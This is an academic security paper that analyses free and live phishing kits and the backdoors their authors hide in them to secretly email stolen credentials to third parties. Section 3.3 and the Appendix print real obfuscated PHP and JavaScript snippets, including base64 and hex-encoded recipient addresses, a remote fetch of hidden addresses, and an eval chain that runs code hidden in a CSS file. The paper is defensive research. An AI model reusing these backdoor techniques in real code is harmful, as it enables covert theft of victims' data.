There is No Free Phish: An Analysis of "Free" and Live Phishing Kits

Marco Cova, Christopher Kruegel, and Giovanni Vigna

Department of Computer Science,
University of California, Santa Barbara
{marco,chris,vigna}@cs.ucsb.edu

Abstract

Phishing is a form of identity theft in which an attacker attempts to elicit confidential information from unsuspecting victims. While in the past there has been significant work on defending from phishing, much less is known about the tools and techniques used by attackers, i.e., phishers. Of particular importance to understanding the phishers' methods and motivations are phishing kits, packages that contain complete phishing web sites in an easy-to-deploy format. In this paper, we study in detail the kits distributed for free in underground circles and those obtained by crawling live phishing sites. We notice that phishing kits often contain backdoors that send the entered information to third parties. We conclude that phishing kits target two classes of victims: the gullible users from whom they extort valuable information and the unexperienced phishers who deploy them.

1 Introduction

Phishing is a major threat on today's Internet. In its most basic form, phishers create replicas of target web sites, such as on-line banking, auction, or e-mail pages. These copies are then deployed on publicly-accessible locations, by either acquiring web hosting space or exploiting vulnerable web servers. Finally, the phishers lure victims to visit their replicas and provide confidential information, such as usernames and passwords. This information is stored for later use or resale to third parties [12].

Phishing activity has rapidly changed in recent years: it evolved from an artisanal, small-scale process into a largely automated operation, involving multiple actors with well-defined roles. Tools are available to streamline the operation of creating the initial copy of the target web site, to add the code that collects sensitive information, and to simplify the configuration of the phishing web site (for example, by specifying who will have access to the phished information) [1]. Furthermore, various features have been introduced to make the phishing sites more stealthy or more resilient to take-down actions by affected targets [17].

Concurrently to these technical advancements, a number of changes to the "business model" of phishing have emerged. In particular, miscreants started to create *phishing kits* and offer them for sale. These kits are complete phishing web sites contained in a ready-to-deploy package. They are easy to use: the recipients of the stolen information can be configured by changing one line in the kit's code, and, in addition, some phishing kits even contain detailed usage instructions.

The most recent step in the commoditization of phishing was the distribution of *free* phishing kits. These kits are actively advertised and distributed at no charge. However, as the economist Milton Friedman would have pointed out [6], there is no free lunch in the underground economy. Often, free phishing kits hide backdoors through which the phished information is sent to recipients (probably the original kits' authors) other than the intended ones. In other words, far from being a display of generosity on behalf of the authors, free phishing kits respond to rational economical motivations. That is, kits' authors minimize the effort and risks associated with deploying the phishing site and attracting victims, and maximize their return on investment by harvesting the work of unwitting users.

The main contribution of this paper is the detailed analysis of the phishing kits distributed for free on underground sites as well as those left on live phishing web sites. We focus on the structure of these kits and the backdooring mechanisms used by phishers. We think that this analysis is interesting under two points of view. First, it examines in detail some of the techniques employed in phishing kits and analyzes their technical sophistication. Second, our study sheds some light on the dynamics of the phishing community. It gives additional evidence of the current transformation of underground circles into for-profit organizations [29], ruled by economical principles [5], in which more experienced practitioners resort to treachery against newcomers. This shows that miscreants do not only target unsuspecting regular users but also that they have no hesitation to attack fellow (or competing) phishers.

2 Our Approach

The goals of our analysis are (1) to understand the general design and implementation of phishing kits, (2) to identify the obfuscation techniques employed by fraudsters to hide their planted backdoors, and (3) to retrieve and communicate to interested parties the mechanisms used by phishers to transmit phished information so that appropriate countermeasures can be implemented. As we will see, phishers mostly use email to retrieve the collected data, so we focus on collecting the email addresses used by phishers.

2.1 Obtaining phishing kits

We use two different sources to locate and obtain phishing kits. First, we search for "distribution sites," which are sites that collect a number of kits and offer them for download. Some of these sites are openly advertised in the underground community on web forums and IRC channels. In this case, we directly access the distribution sites. We also noticed that distribution sites generally have a similar structure, and, in particular, the page through which the kits are downloadable has common elements (for example, the heading "Official Scam Pages Site"). By searching for such common elements in search engines, it is possible to locate additional sites.

Second, it is common for phishers to deploy a phishing site by uploading a kit to a web server. In some cases, however, after unpacking the kit, they forget to remove it. If the server allows the listing of directory contents, it is possible to locate and download the kit. This has the advantage of retrieving kits actively in use, and, thus, possibly identifying the current recipients of the phished information. To locate active phishing sites, we use two sources: the PhishTank database [24] and an infrastructure that we set up to collect email spam traffic (spam trap).

2.2 Analyzing phishing kits

After obtaining a phishing kit, we analyze it to determine the email addresses used to exfiltrate the phished information and to identify any possible backdoor.

The analysis that identifies recipient email addresses is automated. Each phishing kit is uploaded to a virtualized environment, consisting of an Ubuntu system equipped with the Apache web server and the PHP module. The kit is uncompressed inside the document root of the web server. Then, a browser instance is directed at the index page of the kit and used to fill in the information collected by the kit. At the end of this process, the kit sends one or more emails with the entered information.

The navigation of the phishing web site is performed using a script that leverages the Selenium library [28] to programmatically control an instance of the Firefox browser. The script requests a page, parses its content, and identifies forms and input fields. It then applies various heuristics to fill each input field with appropriate values. This is necessary since phishing kits often enforce type constraints on some inputs. For example, password values generally have a minimum length and must contain both letters and numbers; credit card numbers have well-defined length and, at a minimum, must pass the Luhn test [14]. The phishing kit checks these constraints and refuses to complete its process (and disclose its email addresses) if these constraints are not satisfied. Note that some of the tests performed are implemented also on the original web site, others (e.g., the Luhn test or whether a credit card number belongs to a known credit company) are inserted by the kit's authors. We recognize each input field's type by looking at the `name` field of the corresponding HTML element. The names generally indicate the intended use of the field, such as `ssn` (social security number), or `cvv2` (card verification value).

After obtaining information from a victim, phishing kits often attempt to verify its validity. For example, to check the correctness of a victim's username and password, a kit may try to login into the legitimate web site. The kit checks that this operation is successful by searching the page returned by the legitimate server for a specific set of words, e.g., "Welcome" or "Hello," followed by a name. Furthermore, a kit may validate an email address by verifying (e.g., via the PHP `getmxrr()` function) that the address' domain defines at least one mail exchange (MX) DNS record. If the checks are not successful, the kit displays an error message and asks the victim to retype the wrong piece of information.

To automate our analysis process, we need to bypass these checks. Therefore, we configured the system to use a DNS server installed locally, which defines appropriate MX records and resolves all names to the local address `127.0.0.1`. Thus, the DNS server effectively redirects all the HTTP requests made by a phishing kit (using domain names rather than IP addresses) to the local web server. The web server responds to all requests for non-existent resources (such as the login page of a banking web site) with a static HTML page that contains words typically searched for by phishing kits to validate credentials.

Finally, to facilitate the automatic analysis of a phishing kit, we perform a number of preprocessing steps that remove unwanted features from the kit. First, we rewrite links to always use normal HTTP connections rather than HTTPS connections. This prevents the browser from detecting errors in digital certificates and stopping its analysis to request the user's intervention. Second, the Selenium library works by loading the target site inside a frame in the current page. Therefore, we eliminate statements that "de-frame" the site (for example, assignments of the value of `self.location` to the `top.location` property), since they would prevent Selenium from working correctly.

The second component of the analysis consists of a logging mechanism that collects all the emails sent and saves the recipient addresses in a database. To collect all email addresses that receive phished information, we modified the default configuration of PHP so that emails sent through the `mail()` function are handled by our custom program instead of the standard mail transport agent (sendmail). This custom program simply logs all emails. We also modified the implementation of the `mail()` function so that it passes to our handler additional, useful information, such as the file name and line number of the script where the function was invoked.

The last step of the analysis consists of identifying the backdoors hidden in the kit. We first discard email addresses that appear in clear in the source code of the kit. Any remaining address must have been obfuscated to covertly receive the phished information. For each of these addresses, we identify the location in the code where the corresponding email was sent (this information is recorded by the logging component). We manually inspect this location, identify the variable holding the destination address, and keep note of the technique used to obfuscate its value. For each obfuscation technique, we develop a signature. A signature consists of a pattern that matches the obfuscation code and a set of commands that recover the hidden email address. We use these signatures to statically identify obfuscation locations in an automatic way. More precisely, we apply the signature to each file in a kit: if the pattern matches, the hidden email address is automatically recovered and saved in a database.

Finally, we compare the email addresses identified statically with those collected by our analysis environment. If there is a mismatch, that is, we cannot statically locate all email addresses that were recorded by navigating the phishing kit, we repeat the manual analysis, identify a new obfuscation technique, and extend the set of recognized obfuscation signatures.

3 Evaluation

We collected phishing kits for two months, starting in April 2008. In total, we obtained 584 kits. All kits were written in the PHP language. We believe phishers use PHP since it is supported by most web servers and is typically enabled by hosting providers.

3.1 Phishing Stats

We manually identified 21 distribution sites from which we obtained a total of 414 kits, 379 of which were distinct, as determined by computing their MD5 digests. 26 kits were not working because of errors, such as a missing file or a syntax error.

	Live Kits	Kits from Distribution Sites
Unique kits	150	353
Backdoored kits	61	129
Drop technique		
Email	147	353
File	2	0
POST	1	0
Email addresses		379
`gmail.com`		49%
`yahoo.com`		18%
`hotmail.com`		3%
Infrastructure		
Type I	7%	N/A
Type II	63%	N/A
Type III	0%	N/A
Type IV	30%	N/A

Table 1: Summary of the analysis results.

The identification of kits on active phishing sites was completely automated. We downloaded 15,770 reports from the PhishTank database. Notice that this database contains noisy data: it has duplicated entries, misclassified sites, and incorrect URLs. Therefore, we performed various preprocessing steps to eliminate undesired data. We removed 8 entries that referred to incorrect URLs (e.g., with misspelled protocol schemes, such as `htps`), 192 entries referring to pages hosted on sites known to be legitimate (e.g., `natwest.com`), and 3,003 (19%) that use wildcard DNS entries to point at the same resource through different URLs. This left us with 12,567 reports. 1,075 of these (about 8%) referred to phishing sites that were still on-line and allowed directory listing when we accessed them. We consider a phishing site to be live if it has an index page that contains (or redirects to a page that contains) a form with at least one input of type "password." From these sites, we gathered 151 kits. In other words, about 15% of the open listing sites contained phishing kits. One additional kit was obtained from our spam collection infrastructure. In the following, we refer to these kits as "live kits." All live kits were unique. Two kits contained errors that prevented their correct execution. One had an invalid directive in a `.htaccess` file, the other contained syntax errors in the code used to transmit the phished information. Thus, our data set contained a total of 503 distinct phishing kits. Table 1 summarizes the results of our analysis.

Targeted organizations. The collected phishing kits targeted a total of 49 organizations, mostly banks and auction sites, but also mail providers and video game portals. The five most common targets of kits found on distribution sites were Bank of America (21 kits), eBay (19), Wachovia

(18), HSBC (18), and PayPal (15). Among the 21 organizations targeted by live kits, the five most frequent ones were PayPal (63 kits), followed by Halifax (19), Bank of America (14), Wells Fargo (9), and Royal Bank of Scotland (8). Most of the kits contained files for only one target organization. In fact, we found only two kits that contained copies of multiple target sites (9 in both cases).

Drop mechanisms and backdoors. The information exfiltrated by a phishing kit to phishers is often called a *drop*. The vast majority of kits use email to transmit drops. Only two live kits stored drops in a file on the compromised server, and only one sent it to an outside server through a POST request.

We consider a kit to be backdoored if it sends the phished information to addresses other than those found in clear in the kit's code. We found 129 of the kits from distribution sites (slightly more than one third) to be backdoored. Among live kits, 61 (40%) are backdoored. Of these, 20 send the phished information to addresses also found in 8 kits obtained from distribution sites. Assuming that authors and users of kits are different individuals, this shows that backdoors are effective. That is, in a significant number of cases, they do not appear to be detected. At the same time, it seems that, when identified, backdoors are updated to send the stolen information to new recipients.

From our automated analysis of the 503 phishing kits, we extracted 379 unique email addresses. They are registered at 60 different domains: `gmail.com` is the most frequently used (49%), followed by `yahoo.com` (18%) and `hotmail.com` (3%). Only 7 addresses are hosted at domains that do not host free mail providers. At least one address was clearly mistyped (the top-level domain was `comr` instead of `.com`). Among the addresses obtained from live kits, 101 were present in multiple kits.

Infrastructure. In the case of live kits, it is interesting to investigate the techniques used to obfuscate the URL pointing to the phishing site. We use the classification proposed by Garera et al. [8]: *type I* URLs use an IP address in place of the hostname; *type II* URLs contain a valid-looking domain name and insert the name of the organization being phished in the path; *type III* URLs include the organization name in the hostname and make it follow by a long string; *type IV* URLs have no apparent relationship with the phished organization. It can be argued that type III URLs are likely to correspond to domains that were explicitly registered to host a phishing site, while type I, II, and IV URLs are more likely to correspond to vulnerable sites (for example, running web applications containing vulnerabilities) that were compromised and used to host phishing pages.

Of the 12,567 links that we analyzed, 5% were of type I, 23% of type II, 34% of type III, and 38% of type IV. Live kits were found on type I sites (7%), type II (63%), and type IV (30%). We do not have a definite explanation as to why no kits were found on type III domains. However, since the setup of these domains requires a certain level of planning and technical sophistication, it is plausible that they are primarily used by experienced phishers, who are more effective at hiding their tools and covering their tracks.

Furthermore, 17% of type III URLs resolved to more than one IP address, an indication of the use of fast-flux techniques to improve the life-time of an attack campaign [10, 17].

Finally, on 39 of the live phishing sites, we found PHP shells, which are tools used by attackers to remotely control the vulnerable machine. This hints at the possibility that the same compromised server is used to carry out a number of other malicious activities.

Limitations. The main threat to the validity of the statistics presented above is the problem of the "coverage" of the examined kits, i.e., the variety of the recovered kits. Of course, there is no methodology that guarantees to recover all possible kits used by phishers. However, we adopt several techniques to maximize the chances of observing the largest possible number of kits.

With regard to kits obtained from distribution sites, we monitored a variety of underground forums where phishing techniques and tools are openly discussed.

Live kits pose a number of challenges. First, live sites have to be identified. To do this, we leverage the PhishTank database, which is considered the "most complete and timely" repository of phishing reports [17]. Second, it is well-known that phishing sites have generally short lifespans. Thus, we aggressively query the PhishTank database and visit a reported URL in a matter of seconds from its recording, without waiting for the validation process to complete.

3.2 Phishing Kit Structure

Phishing kits contain two types of files: those needed to display a copy of the targeted web site, and the scripts used to save the phished information and send it to phishers.

The majority of phishing kits contain all the resources required to replicate the targeted web site, including HTML pages, JavaScript and CSS files, images and other media files, such as Flash clips. This minimizes the number of requests the kit issues to the legitimate site and, thus, the chances of being detected if the target site analyzes incoming requests. However, 129 kits from distribution sites and 91 from live sites contain links to the target web sites, 2 kits contain the Google Analytics' tracker code (we could not confirm whether site traffic data is sent to the legitimate site's account or a phisher's account).

PHP scripts included in the kit handle the forms used to phish information. These scripts collect the provided information and send it to the phisher. As we have seen, drops are almost always transmitted using email. We conjecture that this is because, of all transmission methods, email does

not require any additional infrastructure, does not force the attacker to visit the phishing site after the initial seeding, and is as reliable as the mail provider chosen by the phisher. Destination addresses are most often configured by setting a variable in one of the scripts. In three kits, addresses were obtained by requesting a page on a third-party site. In one case, the site was inaccessible. In the remaining two cases, it returned an obfuscated email address.

The code to transfer the phished information to the scammer consists of a few lines of PHP code, which define variables used to store the recipient address, subject, content of the email, and optional headers. The actual mail transmission is performed using the built-in `mail()` function. Often, comments instruct the phishers how to set their email address in the appropriate place in the code.

3.3 Obfuscation Techniques

The goal of planted backdoors is to send the phished information to recipients other than the intended one. We describe here the various obfuscation techniques used to hide the presence of backdoors. Additional examples are provided in the Appendix.

3.3.1 Address Obfuscation

One requirement of backdoors is to hide or obfuscate email addresses so that they are not immediately identifiable by manual inspection or pattern matching. To do so, kit writers use a variety of techniques, ranging from standard encoding and compression algorithms to simple, custom cryptographic methods.

Base64-encoding is a popular obfuscation choice. The email address is encoded using its base64 representation and the built-in `base64_decode()` function is used to retrieve its original value. Another commonly-used encoding is ASCII. In this case, the address is obfuscated by substituting each character with the corresponding ASCII value, typically in hexadecimal format. A function mapping a value to the corresponding character (e.g., the built-in `pack()` function) is then used to recover the email address. Code examples for these techniques are shown in the Appendix.

Among custom techniques, obfuscations based on Caesar ciphers are popular. Each letter of the email address is replaced with the letter that is some fixed number of positions further down in the alphabet. Another common technique is the use of simple permutations. The following snippet is used to obfuscate the address `stiveat@gmail.com`:

```
$ar=array("1"=>"i","2"=>"v","3"=>"o","4"=>"s",
  "5"=>".","6"=>"g","7"=>"t","8"=>"e","9"=>"a",
  "10"=>"@","11"=>"m","12"=>"l","13"=>"c");
$cc=$ar['4'].$ar['7'].$ar['1'].$ar['2'].$ar['8'].
  $ar['9'].$ar['7'].$ar['10'].$ar['6'].$ar['11'].
  $ar['9'].$ar['1'].$ar['12'].$ar['5'].$ar['13'].
  $ar['3'].$ar['11'];
```

Less frequently (it occurred in three of the kits we obtained), additional email addresses are obtained by downloading a file from a second web site. Also in this case, ASCII encoding is used as an obfuscation mechanism:

```
$victimIP = pack("H*","687474703a2f2f6672656573".
  "63616d732e33782e726f2f656d61696c2e706870");
$DetailsIP = file_get_contents($victimIP, "r");
$DetailsIP = pack("H*", $DetailsIP);
```

After applying the `pack()` function on the long numeric string, one obtains `http://freescams.3x.ro/email.php`. The URL is then retrieved using the built-in function `file_get_contents()`. Its content is decoded, again using `pack()`, and the resulting email addresses are ready to be used.

3.3.2 Email Sending

A second goal of backdoors consists of creating new, hidden drops, i.e., covertly sending emails with the phished information to addresses different than the intended ones. Also in this case, various techniques are used to divert suspicion.

Simple misspellings may be enough to evade superficial analyses. For example, the following piece of code saves the phished information in the `message` variable, which will then be used as the body of the email. However, intermixed with this code, a second variable, named `messege`, is also initialized. It will contain an email address, `hostipport@gmail.com`, that will be used as the recipient parameter of a second `mail()` invocation. Besides the misspelling, this backdoor also uses the fact that the PHP interpreter automatically initializes undefined string variables (as `messege` here) to the empty string to blend in with the normal code.

```
$hostname = gethostbyaddr($ip);
$message  = "Chase Bank Spam ReZulT\n";
...
$message .= "User ID : $user\n";
$messege .= "hostip"
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
...
mail($to,$subject,$message,$headers);
mail($messege,$subject,$message,$headers);
```

A similar, simple trick is used by the following backdoor. Here, the code leverages the fact that PHP is case-insensitive for function names, but case-sensitive for variable names. Thus, the apparently repeated mail statements have, in reality, two different recipients.

```
if(mail($send,$subject,$message,$headers)
   != false)
    mail($Send,$subject,$message,$headers);
```

More sophisticated obfuscation techniques are based on PHP features such as dynamic code creation (through the `create_function()` function) and evaluation (through the `eval()` function). In this case, the text of the PHP code that is used to covertly send the email is divided into multiple substrings, which are hidden in unusual locations of the phishing kit. For example, they are disguised as comments or attribute values in an HTML file. At run-time, these strings are extracted from the file and composed together. The resulting string, i.e., the backdoor's program, is dynamically evaluated and the email is sent. An example of this technique is reported in the Appendix.

3.4 Social Engineering

Phishing kits extensively resort to simple social engineering techniques, in the form of deceiving comments in the code, to divert the attention of a kit's user from a backdoor or to prevent modifications that may disable it. For example, in several kits, the part of the script that transmits the phished information is preceded by the comment:

```
// Don't need to change anything here
```

Furthermore, backdoors sometimes manifest themselves as anomalous coding patterns, such as including into a PHP script files with extensions typical of JavaScript or CSS files. A reassuring comment explains that this anomaly is indeed intended and required:

```
include 'index.cfm_files/validate_form.js';
/* this makes sure that submitted form fields
are not empty or invalid before sending
the results [...] */
```

In other cases, comments sound outright sarcastic. In one instance, the indexes of the array used in a permutation-based obfuscation read "good for your scam."

4 Related Work

Our study is related to two main areas of research: phishing and information security economics. We also report on phishers using treacherous techniques against fellow attackers. While there is a large literature on these subjects, for reasons of space, we will provide here just a brief overview of the proposed approaches and techniques.

Phishing. Phishing has been the subject of much work in recent years. A first line of research has focused on describing the techniques and the psychological processes that make phishing a successful attack [3, 4].

A second area of work consists of the design and implementation of methods to prevent phishing attacks. Some of these techniques are automatic and are based, for example, on the filtering of web pages contents [16], the restriction of information flow [13, 25, 34], or the obfuscation of confidential information [26]. Other prevention techniques require some form of user's cooperation, in the form, for example, of reaction to visual cues in the browser [2, 9], or the use of external trusted devices [23]. Several studies have pointed out the limitations of approaches that require human intervention [11, 27, 33].

The detection of spoofed web sites has also received considerable attention, and various techniques have been proposed, based, for example, on the measurement of visual similarity between web pages [31], anomaly detection techniques [22], or information retrieval approaches [35].

A number of studies have focused on the operational aspects of phishing, for example, the impact of take-down actions [17], the infrastructure used for hosting phishing pages [15], and the effectiveness of manual assessing of phishing reports [18].

Finally, new attack vectors have been discussed, for example, the use of homographic domains [7], picture-in-picture browsers [11], and trojaned routers [30].

Different from these studies, our work describes in detail the kits used by phishers, one of the fundamental tools of attackers. We also discuss the techniques used in kits to verify the stolen information and transmit it to fraudsters.

Underground economy. Several recent studies have characterized the cyber underground community and explored its economical behavior, in particular, its shift from a reputation-based society into a profit-driven economy [5, 29].

Treachery. The use of treachery by part of attackers has received only limited attention so far. Franklin et al. observe that administrators of IRC channels used by fraudsters seem to offer fallacious commands (e.g., to check the validity status of a credit card) to steal sensitive data from naive participants [5]. The use of backdoors by phishers has been reported before in blogs and other online forums [19]. Backdoors inserted into exploit tools have also been found in the past, e.g., in the Sub7 trojan [32] and the more recent anti-CNN tool [21]. Finally, there has been anecdotal evidence of all-out attacks among rivaling gangs [20].

In this paper, we provide a more comprehensive report on the use of treachery among phishers, discussing in detail the techniques used to hide backdoors in phishing kits.

5 Conclusions

The most effective tools available to phishers are phishing kits. These are packages that contain a complete phishing site ready to be deployed on a public web server. In this paper, we have analyzed a large collection of phishing kits obtained from a variety of sources and discussed the kits' technical characteristics. We have also observed that many kits contain backdoors that transmit the phished information to third parties. This work is the first systematic analysis of the different techniques used by kit writers to steal from phishers.

Acknowledgments

This work has been supported by the Austrian Science Foundation (FWF) under grant P-18764, the FIT-IT Pathfinder Project, Secure Business Austria (SBA), and the National Science Foundation, under grants CCR-0238492, CCR-0524853, and CCR-0716095.

References

[1] D. Danchev. DIY phishing kits introducing new features. http://blogs.zdnet.com/security/?p=1104, 2008.

[2] R. Dhamija and J. Tygar. The Battle Against Phishing: Dynamic Security Skins. In *Proceedings of the Symposium on Usable Privacy and Security*, 2005.

[3] R. Dhamija, J. Tygar, and M. Hearst. Why Phishing Works. In *Proceedings of the SIGCHI Conference on Human Factors in Computing Systems*, 2006.

[4] C. Drake, J. Oliver, and E. Koontz. Anatomy of a Phishing Email. In *Proceedings of the Conference on Email and Anti-Spam*, 2004.

[5] J. Franklin, V. Paxson, A. Perrig, and S. Savage. An Inquiry into the Nature and Causes of the Wealth of Internet Miscreants. In *Proceedings of the ACM Conference on Computer and Communications Security*, 2007.

[6] M. Friedman. *There's No Such Thing as a Free Lunch*. Open Court Pub Co, 1975.

[7] E. Gabrilovich and A. Gontmakher. The Homograph Attack. *Communications of the ACM*, 45(2), 2002.

[8] S. Garera, N. Provos, M. Chew, and A. Rubin. A Framework for Detection and Measurement of Phishing Attacks. In *Proceedings of the Workshop on Recurring Malcode*, 2007.

[9] A. Herzberg and A. Gbara. Security and Identification Indicators for Browsers against Spoofing and Phishing Attacks. Cryptology ePrint Archive, Report 2004/155, 2004.

[10] T. Holz, C. Gorecki, K. Rieck, and F. Freiling. Measuring and Detecting Fast-Flux Service Networks. In *Proceedings of the Network & Distributed System Security Symposium*, 2008.

[11] C. Jackson, D. Simon, D. Tan, and A. Barth. An Evaluation of Extended Validation and Picture-in-Picture Phishing Attacks. In *Proceedings of Workshop on Usable Security*, 2007.

[12] M. Jakobsson and S. Myers, editors. *Phishing and Countermeasures: Understanding the Increasing Problem of Electronic Identity Theft*. Wiley, 2006.

[13] E. Kirda and C. Kruegel. Protecting Users against Phishing Attacks with AntiPhish. In *Proceedings of the International Computer Software and Applications Conference*, 2005.

[14] H. Luhn. Computer for Verifying Numbers. U.S. Patent 2,950,048, 1960.

[15] D. McGrath and M. Gupta. Behind Phishing: An Examination of Phisher Modi Operandi. In *Proceedings of the USENIX Workshop on Large-scale Exploits and Emergent Threats*, 2008.

[16] D. Miyamoto, H. Hazeyama, and Y. Kadobayashi. SPS: A Simple Filtering Algorithm to Thwart Phishing Attacks. In *Proceedings of the Conference on Technologies for Advanced Heterogeneous Networks*, 2005.

[17] T. Moore and R. Clayton. Examining the Impact of Website Takedown on Phishing. In *Proceedings of the APWG eCrime Researcher's Summit*, 2007.

[18] T. Moore and R. Clayton. Evaluating the Wisdom of the Crowds in Assessing Phishing Websites. In *Proceedings of the Conference on Financial Cryptography and Data Security*, 2008.

[19] P. Mutton. Phishing kits take advantage of novice fraudsters. http://news.netcraft.com/archives/2008/01/03/phishing_kits_take_advantage_of_novice_fraudsters.html.

[20] J. Nazario. Loads.CC Bot Still Live, Still Targeted. http://asert.arbornetworks.com/2008/04/loadscc-bot-still-live-still-targeted/, 2008.

[21] J. Nazario. NetBot Attacker Anti-CNN Tool. http://asert.arbornetworks.com/2008/04/netbot-attacker-anti-cnn-tool/, 2008.

[22] Y. Pan and X. Ding. Anomaly Based Web Phishing Page Detection. In *Proceedings of the Annual Computer Security Applications Conference*, 2006.

[23] B. Parno, C. Kuo, and A. Perrig. Phoolproof Phishing Prevention. In *Proceedings of the Cryptography and Data Security International Conference*, 2006.

[24] PhishTank. http://www.phishtank.com/.

[25] T. Raffetseder, E. Kirda, and C. Kruegel. Building Anti-Phishing Browser Plug-Ins: An Experience Report. In *Proceedings of the International Workshop on Software Engineering for Secure Systems*, 2007.

[26] B. Ross, C. Jackson, N. Miyake, D. Boneh, and J. Mitchell. Stronger Password Authentication Using Browser Extensions. In *Proceedings of the USENIX Security Symposium*, 2005.

[27] S. Schechter, R. Dhamija, A. Ozment, and I. Fischer. The Emperor's New Security Indicators: An evaluation of website authentication and the effect of role playing on usability studies. In *Proceedings of the IEEE Symposium on Security and Privacy*, 2007.

[28] Selenium. http://selenium.openqa.org/.

[29] R. Thomas and J. Martin. the underground economy: priceless. *;login:*, 2006.

[30] A. Tsow. Phishing with Consumer Electronics: Malicious Home Routers. In *Proceedings of the Models of Trust for the Web Workshop*, 2006.

[31] L. Wenyin, G. Huang, L. Xiaoyue, Z. Min, and X. Deng. Detection of Phishing Webpages Based on Visual Similarity. In *Proceedings of the World Wide Web Conference*, 2005.

[32] Wikipedia. Sub7. http://en.wikipedia.org/wiki/Sub7.

[33] M. Wu, R. Miller, and S. Garfinkel. Do Security Toolbars Actually Prevent Phishing Attacks? In *Proceedings of the Conference on Human Factors in Computing Systems*, 2006.

[34] M. Wu, R. Miller, and G. Little. Web Wallet: Preventing Phishing Attacks by Revealing User Intentions. In *Proceedings of the Symposium on Usable Privacy and Security*, 2006.

[35] Y. Zhang, S. Egelman, L. Cranor, and J. Hong. Phinding Phish: Evaluating Anti-Phishing Tools. In *Proceedings of the Network & Distributed System Security Symposium*, 2007.

Appendix – Additional Obfuscation

We provide here some additional examples of the obfuscation techniques used in phishing kits.

The following snippet of code shows how base64-encoding is used to hide email addresses. The code defines a new, hidden parameter, `Send`, which will be used as destination of an email. Its value is the base64-encoding of the email address `Mr-Brain@Evil-Brain.Net`.

```
<input type="hidden" name="Send"
value="<?=base64_decode(
  "TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>">
```

The following code is an example of obfuscations that use ASCII encoding:

```
$erorr = file_get_contents("login.php");
...
$IP = pack("H*", substr($VARS=$erorr,
  strpos($VARS, "329")+3,46));
```

The code scans the contents of the `login.php` file for the pattern `329` and extracts the subsequent 46 bytes (in this case, `70696f6e6565722e627261696e40676d6169-6c2e636f6d`). Then, the standard function `pack()` interprets this string as a sequence of hexadecimal character codes and decodes them, revealing the address `pioneer.brain@gmail.com`. Notice how misspelling is used to disguise the variable `erorr` for the legitimate `error` variable.

An example of techniques based on Caesar ciphers is shown below. Different from other examples, it is JavaScript code (edited for clarity) that is executed by the victim's browser when visiting one of the kit's pages.

```
function hive(){
  var kode="kode=\"nrgh@...[769 bytes]..." +
    "nrgh@{\";x = '';" +
    "for(i = 0; i < kode.length; i++) {" +
    "  c = kode.charCodeAt(i) - 3;" +
    "  if (c < 0) c += 128;" +
    "  x += String.fromCharCode(c);" +
    "}" +
    "kode=x";
  while(eval(kode));
}
hive();
```

The JavaScript code executes the `eval()` function in a loop. In each iteration, the initial part of the `kode` string is decrypted and the result is assigned back to the `kode` variable. In the last iteration, the following JavaScript statement is generated and then executed:

```
document.write("<input type=\"hidden\"
name=\"recipient\" value=\"hxcguy@gmail.com\">");
```

Finally, the following case demonstrates the use of dynamic evaluation in PHP to covertly send emails:

```
function clean($str){
  $clean=create_function('$str','return '.
    gets("(1,",3,4).'($str);');
  return $clean($str);
}
function getc($string){
  return implode('', file($string));
}
$d="details.php";
function gets($a, $b, $c){
  global $d;
  return substr(getc($d),strpos(getc($d),$a)+$b,$c);
}
function end_of_line(){
  $end=gets("(2,",3,4);
  $endline=$end(gets("(3,",3,2),
    getc(gets("(((",3,20)));
  return $endline;
}
function geterrors(){
  return clean(end_of_line());
}
```

The function `geterrors()` is called towards the end of the script, right before error checking is performed. Despite its name, it has a very different task than checking for errors. To understand its real behavior, we need to examine the functions that it invokes. The function `getc()` returns the contents of the file passed as its only parameter. The function `gets()` searches for a pattern (specified as its first parameter) in the file `details.php` and returns the string following this pattern. The function `end_of_line()` uses `getc()` and `gets()` to extract the strings `pack` (the search pattern is `"(2)`, the string `h*` (via the pattern `(3,)` and the string `images/style_002.css` (through the pattern `(((`). Similarly, the function `clean()` extracts the string `eval` (the search pattern is `(1,)`, creates a function that evaluates its only parameter, and returns the result of applying it to the parameter `str`. Finally, the function `geterrors()` combines all these subroutines to obtain:

```
eval(pack('h*',
  file_get_contents('images/style_002.css')));
```

The file `images/style_002.css` apparently contains legitimate CSS data, except for a section in the middle of the file that resembles a long alphanumeric string. After applying `pack()` to the file's contents, one obtains a long string containing unprintable characters at the beginning and at the end. The central section of the file is instead transformed into a snippet of PHP code that, when evaluated by the `eval()` function, emails the phished information to two additional addresses.